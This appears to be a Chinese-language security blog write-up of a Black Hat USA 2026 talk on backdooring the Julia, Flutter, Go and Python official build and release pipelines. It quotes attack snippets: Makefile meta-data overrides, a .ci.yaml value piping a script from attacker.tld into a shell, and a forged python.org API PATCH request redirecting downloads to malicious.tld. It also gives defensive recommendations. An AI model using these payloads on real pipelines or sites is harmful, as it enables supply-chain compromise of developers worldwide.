文章总结: 文章解读BlackHatUSA2026议题,DEVCORE研究员splitline演示对Julia、Flutter、Go、Python官方构建管道的供应链攻击,利用元数据投毒、缓存污染、IAP绕过及认证逻辑缺陷在语言二进制分发源头植入后门,根因为跨job信任缺失、数据流无完整性校验与Bot重用污染。建议限制非特权job写权限、校验数据流完整性、隔离任务环境并对下载二进制做签名校验与多源交叉验证。 综合评分: 80 文章分类: 供应链安全,漏洞分析,红队,安全建设,WEB安全
你的系统在第一次 pip install 之前就被攻陷了
原创
AIxSec69 AIxSec69
AIxSec69
2026年8月29日 21:13 美国
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
你的系统在第一次 pip install 之前就被攻陷了
来源:Black Hat USA 2026 Briefings
标题:Born Corrupted: How We Backdoored Trusted Language Binaries
作者:Tsi-Lin (splitline) Ng(Security Researcher, DEVCORE;UNDEFINED Conclave 成员)
适合读者:安全工程师、DevSecOps 从业者、CI/CD 平台运维者、开源项目维护者、供应链安全研究者
简介:审核依赖、锁版本、查漏洞——这些都是针对你引入的第三方包的安全措施。但如果编程语言本身的官方二进制文件在 CI/CD 构建环节被篡改了呢?DEVCORE 研究员 splitline 在 Black Hat USA 2026 上展示了对 Julia、Flutter、Golang、Python 四个主流语言官方构建管道的攻击路径。这些攻击不需要渗透任何开发者的电脑,不需要污染任何 registry 上的包——它们直接在语言的”出生点”植入后门。
◆ ◆ ◆
你写 Python,用 pip 安装包。
你审计了每一个依赖。你甚至手动检查了 setup.py。
但如果 Python 官网上供下载的 python.exe 本身就已经被篡改了呢?如果 Go 官网上发布的 go1.25.linux-amd64.tar.gz 编译自被注入后门的源码呢?
这就是 splitline 在 Black Hat USA 2026 上提出的问题。它的答案是一个让开发者后背发凉的故事——攻击编程语言本身的构建管道,在代码被分发之前就植入后门。
▲ 你安装包,你审计包——但编译工具链本身安全吗?(来源:Black Hat USA 2026 Slides)
攻击面:不只是代码,还有构建它的机器
splitline 从一个简单的攻击面分类开始:
– CI/CD 风险:代码从 PR 到发布经历的自动化管道,每一步都是一个可能的攻击点
– 开发者面板(Developer Dashboard):构建状态、发布管理、签名——这些管理界面的权限模型往往比代码仓库更弱
– 开发者自身:凭证泄露、弱认证、社会工程——经典但依然有效的入口
在这些攻击面中,他选择聚焦最容易被忽视的一个:CI/CD 管道中的跨 job 信任边界。
现代语言的 CI/CD 通常分多步执行:收到一个 PR → 非特权 job 拉取代码、编译、跑测试 → 如果通过,特权 job 执行签名、打包、上传到 CDN。问题在于:如果非特权 job 能够以某种方式污染特权 job 的执行环境,会发生什么?
▲ 供应链攻击:攻击点不在代码,在构建管道(来源:Black Hat USA 2026 Slides)
这就是 splitline 在四个案例中反复利用的模式。他称之为 “Takeover What You Download”——控制下载的,而不是下载的。
Case 1: Julia —— 一条 Makefile 里的 meta-data 投毒
Julia 语言的 CI/CD 使用 Buildkite 平台。整个流程大致是:
-
开发者在 GitHub 上提交 Pull Request(来自任意 fork)
-
Buildkite 启动一个非特权 job,
git clonefork 的代码,执行make build -
构建完成后,通过
buildkite-agent meta-data set将REPO\_URL和VERSION写入共享的 meta-data store -
后续的特权 job 通过
get\_meta()读取这些信息,git clone对应的仓库进行签名和上传——这个 job 携带/secrets/agent.key
splitline 发现的攻击点是:非特权 job 可以修改 meta-data。
在 fork 的 Makefile 里插入两行命令:
@buildkite-agent meta-data set REPO\_URL "ATTACKER/julia-buildkite"
@buildkite-agent meta-data set VERSION "main"
非特权 job 在编译完成后,将 REPO\_URL 从官方的 JuliaCI/julia-buildkite 改为攻击者控制的仓库。当特权 job 读取 meta-data 进行 clone 时,它拿到的是攻击者的仓库——其中包含任意代码,在拥有 /secrets/agent.key 的特权环境中执行。
这个攻击利用了 Buildkite 的一个设计特性:meta-data store 是跨 job 共享的(非特权 job 可以写,特权 job 无条件读),而没有对 meta-data 的来源做完整性校验。
Case 2: Flutter —— 钻进 Google 的内部构建系统
Flutter 的 CI/CD 跑在 Google 的 LUCI(Layered Universal Continuous Integration)基础设施上——这是一个远比 Buildkite 复杂的系统,涉及 Buildbucket、Swarming、CIPD、CAS 等多个组件。
攻击的入口出奇地简单。Flutter 的 CI 配置读取逻辑中,有一段代码:
final content = await githubFileContent(
slug,
ciYamlPath,
ref: commitSha, // <- fork 的 SHA!指向攻击者的文件
);
.ci.yaml 文件不是从主仓库读取的,而是从 PR 对应 fork 的 commit SHA 读取。攻击者在自己 fork 的 .ci.yaml 中添加:
env\_variables: >-
{"BASH\_ENV": "$(curl https://attacker.tld/shell.sh | sh)"}
contexts: >-
["metric\_center\_token"]
当 CI 系统以 PR 的 SHA 拉取这个被篡改的配置文件时,攻击者的 shell 脚本在 Bot 上执行——这就是 reverse shell 的入口。
但这还只是开始。splitline 展示了从 reverse shell 到控制 Flutter 发布管道的完整链条:
1. Try Task → Prod Task 跨越:获得 reverse shell 的 Bot 同时运行着 Try Task(非特权,来自外部 PR)和 Prod Task(特权,来自内部代码)。通过 LUCI_CONTEXT 中的 Local Auth RPC,攻击者可以借用同一 Bot 上的 Service Account 凭证,访问 Prod Task 的 Google Cloud 资源。
2. GCS 写权限获取:攻击者获得了 gs://flutter\_archives\_v2 的写入权限——这是 Flutter 的构建产物归档存储。
3. 缓存污染:通过 mount\_cache('builder') 机制,攻击者可以修改 GCS 上 gs://flutter\_archives\_v2/caches/builder-linux.json 中的缓存哈希,将攻击者控制的构建产物伪装成合法的 builder 缓存。后续的构建 job 会基于被污染的缓存 git checkout,产出的二进制文件带着后门。
4. Dashboard 劫持:Flutter 的构建管理面板 Cocoon 中,认证逻辑检查 email.endsWith('@google.com')。攻击者在 Bot 环境中获得的 token 满足这个条件,获得完全的管理面板访问权限。
最终结果:攻击者可以将任意代码注入 Flutter Engine 的构建产物,影响所有使用 Flutter 的开发者。
Case 3: Golang —— 一段注释干掉 IAP 认证
Go 语言的构建基础设施也运行在 Google 的内部系统上,使用 IAP(Identity-Aware Proxy)保护关键的构建协调服务。Go 的 gRPC 服务端使用了一个拦截器:
RequireIAPAuthUnaryInterceptor(IAPSkipAudienceValidation)
重点是 IAPSkipAudienceValidation——它是一个常量,值为空字符串 ""。在 IAP JWT 验证函数中:
func (v \*Validator) validate(ctx, idToken, audience) (\*Payload, err) {
if audience != "" && payload.Audience != audience {
return nil, fmt.Errorf("idtoken: audience does not match")
}
当 audience 参数为空字符串时,audience 校验被完全跳过——任何有效的 Google JWT 都可以通过认证。这意味着 IAP 所提供的”请求来自特定 Google 项目”的保证被直接绕过了。
有了这个绕过,splitline 进一步展示了从 Try Bot 到发布管道的攻击链:
1. 跨 Bot job 触发:Try Bot 的 Service Account(coordinator-builder@golang-ci-luci...)拥有 Buildbucket 的 trigger 权限,可以直接向 security-try bucket 提交任意 job——包括指定任意的 Gerrit host。
2. Bot 重用:安全 task 执行完毕后,Bot 不会被销毁,而是被后续的 RELUI(Release UI)发布 task 重用。攻击者可以在安全 task 中”种植”后门,影响后续使用同一 Bot 的发布 pipeline。
3. 发布管道污染:RELUI 使用 relui-task@ 和 relui-prod@ Service Account,可以写入 gs://golang/(最终同步到 dl.google.com/go)。如果在 Bot 上植入的后门修改了 Cloud Build 产出的二进制文件(在签名之前或签名之后利用具体时机),最终用户从 dl.google.com/go 下载的就是被篡改的文件。
这一条链路从一次 PR 提交开始,最终可以污染 Go 官方的二进制发布。
Case 4: Python —— return True 的灾难
Python 的官方文件托管在 www.python.org 上,使用一个基于 Django Tastypie 框架的下载管理 API。这个 API 使用了自定义的 ApiKeyOrGuestAuthentication 认证类。
正常的 ApiKeyAuthentication 在认证失败时返回 HttpUnauthorized(),请求被拒绝。但 ApiKeyOrGuestAuthentication 重写了 \_unauthorized() 方法:
class ApiKeyOrGuestAuthentication(tastypie.authentication.ApiKeyAuthentication):
def \_unauthorized(self):
return True # Allow guests anyway
return True 意味着:即使用户提供了无效的 API Key(或根本不提供),\_unauthorized() 仍然返回 True,认证检查被视为”通过”。更关键的是,is\_authenticated() 方法在执行 API Key 验证之前,会先查询用户名对应的 User 对象。如果用户名存在(比如 ambv——Python 核心开发者 Lukasz Langa 的用户名),用户对象就被设置到 request.user 上,以该用户的权限执行后续操作。
攻击者只需要:
-
使用任意有效的用户名(如
ambv) -
提供任意的
api\_key参数(可以是ANY) -
发起 PATCH 请求修改
release\_file的 URL
PATCH /api/v1/downloads/release\_file/123/
?format=json&username=ambv&api\_key=ANY HTTP/1.1
Host: www.python.org
Content-Type: application/json
{"url": "https://malicious.tld/python.exe"}
这条请求会将 Python 官方下载页面上的文件链接替换为攻击者控制的恶意文件。用户从 python.org 下载时,拿到的就是被篡改的二进制。
▲ 在第一个 pip install 之前,你的系统可能已经不安全了(来源:Black Hat USA 2026 Slides)
为什么这些攻击能成功?
splitline 在演讲结尾将四个案例提炼为三个共性的安全问题:
Access Control(访问控制)。非特权 job 可以写入特权 job 依赖的共享存储(Buildkite meta-data、GCS 缓存)。系统假设这些存储是可信的,但没有验证写入者的权限。
Insufficient Flow Control(流转控制不足)。CI/CD 管道中数据从非特权域流向特权域时,缺少完整性校验。Julia 案例中 meta-data 没有签名,Flutter 案例中 .ci.yaml 从 fork 读取而没有白名单验证。
Poisoned Pipeline(管道污染)。Bot 在不同任务之间被重用,前一个任务对环境的修改(文件、内存、进程)可能被后续任务继承。Go 案例中安全 task 和发布 task 共享 Bot 是最典型的例子。
防御视角
从四个案例中可以提炼出几个方向性建议:
对 CI/CD 平台:
-
非特权 job 不应能写入被特权 job 消费的共享状态(meta-data、缓存、artifact)
-
跨 job 的数据流应有完整性校验(签名或至少来源白名单)
-
Bot 在执行不同信任级别任务之间应做环境重置或隔离
对语言项目维护者:
-
CI 配置文件(
.ci.yaml、pipeline YAML)不应从 fork 读取,或至少在 fork 路径上做严格的 schema 验证和白名单 -
认证逻辑中的”跳过验证”路径应经过安全审查——一个值为空字符串的常量可能成为全系统的单点失效
-
定期审计 CI/CD 权限模型,尤其是 Try/PR job 的边界
对开发者:
-
二进制文件的完整性校验(checksum、签名验证)仍然是最基本的防线
-
关注供应链安全,不仅是依赖包的层面,还有工具链的层面
-
如果可能,从多个独立来源交叉验证下载的二进制文件
写在最后
splitline 的这场演讲的价值在于,他把一个通常被分开讨论的话题——Web 安全、CI/CD 安全、供应链安全——串了起来。四个案例的技术入口各不相同(meta-data 污染、YAML 注入、IAP 绕过、认证逻辑错误),但指向同一个目标:编程语言官方发布的二进制文件。
当被问到”用了 AI 吗”,splitline 的回答是”Yes, quite a few”——这或许也是一个有趣的注脚。攻击者已经在用 AI 辅助挖掘 CI/CD 中的攻击面了,防御方呢?
每一次 pip install、go get、flutter create 背后,都有数十个自动化构建步骤在运行。这些步骤的设计假设是”上一个环节没有被人动过手脚”——而 splitline 告诉你,这个假设在某些情况下是脆弱的。
◆ ◆ ◆
原文链接:https://www.blackhat.com/us-26/briefings/schedule/#born-corrupted-how-we-backdoored-trusted-language-binaries-53974
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:AIxSec69 AIxSec69 AIxSec69《你的系统在第一次 pip install 之前就被攻陷了》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论